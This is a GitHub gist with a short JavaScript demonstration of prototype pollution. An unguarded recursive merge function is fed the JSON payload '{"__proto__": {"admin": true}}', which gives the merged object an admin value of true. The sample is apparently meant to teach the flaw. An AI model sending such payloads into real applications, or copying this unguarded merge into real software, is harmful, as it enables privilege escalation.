Created
July 25, 2019 16:35
-
-
Save changhuixu/0d4a12a4f72db2cf48a21157ba8a2997 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const isObject = obj => obj && obj.constructor && obj.constructor === Object; | |
function merge(dest, src) { | |
for (var attr in src) { | |
if (isObject(dest[attr]) && isObject(src[attr])) { | |
merge(dest[attr], src[attr]); | |
} else { | |
dest[attr] = src[attr]; | |
} | |
} | |
return dest | |
} | |
// Normal execution | |
var a = {} | |
var b = JSON.parse(`{"admin": false}`) | |
merge(a,b) | |
// {admin: false} | |
// Attack | |
var c = {} | |
var d = JSON.parse(`{"__proto__": {"admin": true}}`) | |
merge(c,d) | |
// {admin: true} | |
c | |
// {admin: true} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment